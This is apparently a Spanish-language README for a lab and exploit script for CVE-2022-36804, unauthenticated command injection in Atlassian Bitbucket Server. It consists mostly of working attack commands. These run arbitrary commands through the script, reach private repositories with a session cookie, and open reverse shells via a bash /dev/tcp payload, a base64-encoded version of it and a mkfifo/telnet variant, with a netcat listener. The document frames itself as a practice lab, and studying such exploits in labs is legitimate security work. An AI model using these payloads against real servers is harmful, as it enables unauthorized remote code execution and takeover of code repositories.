CVE-2022-36804: RCE sin autenticación en Atlassian Bitbucket Server

Se encontró una vulnerabilidad crítica de inyección de comandos en múltiples endpoints de API de Atlassian Bitbucket Server y Data Center. Esta vulnerabilidad afecta a todas las versiones de Bitbucket Server y Data Center lanzadas antes de las versiones <7.6.17, <7.17.10, <7.21.4, <8.0.3, <8.1.2, <8.2.2 y <8.3.1

Laboratorio para CVE-2022-36804

Construir Docker

docker build -t bitbucket .

Ejecutar Docker

docker run -it bitbucket

Uso de cve-2022-36804.py

Verificar ejecución remota de código (RCE)

python3 cve-2022-36804.py -u http://172.17.0.2:7990

Verificar RCE con comando personalizado (cmd)

python3 cve-2022-36804.py -u http://172.17.0.2:7990 -c id

Verificar RCE con comando personalizado, clave de proyecto y nombre de repositorio

python3 cve-2022-36804.py -u http://172.17.0.2:7990 -c whoami -p NEW -r newrepo

Verificar repositorio privado

python3 cve-2022-36804.py -u http://172.17.0.2:7990 -p NEW -r newrepo --session 2074C8FFA5D13088332C8DF0CD8A7CE7

Obtener shell con netcat

Reemplaza 172.17.0.3 con tu dirección IP local

python3 cve-2022-36804.py -u http://172.17.0.2:7990 -c "/bin/bash -i >& /dev/tcp/172.17.0.3/4444 0>&1"

Inicia el listener de netcat con:

nc -lvp 4444

Convierte /bin/bash -i >& /dev/tcp/172.17.0.3/4444 0>&1 a base64 en caso de error de ejecución del payload.

python3 cve-2022-36804.py -u http://172.17.0.2:7990 -c "echo 'L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE3Mi4xNy4wLjMvNDQ0NCAwPiYx' | base64 -d | bash |"

Si aún enfrentas algún error, ejecuta el siguiente comando:

TF=$(mktemp -u);mkfifo $TF && telnet 172.17.0.3 4444 0<$TF | /bin/bash 1>$TF

python3 cve-2022-36804.py -u http://172.17.0.2:7990 -c "TF=$(mktemp -u);mkfifo $TF && telnet 172.17.0.3 4444 0<$TF | /bin/bash 1>$TF"

Se recomienda instalar una versión vulnerable de Bitbucket Server en una máquina Windows/Linux para practicar. Será más fácil lograr una reverse shell en comparación con las imágenes de Docker.

Se puede encontrar más información aquí

Referencias

• https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-advisory-2022-08-24-1155489835.html
• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-36804
• https://walnutsecurity.com/cve-2022-36804-rce-in-bitbucket-server/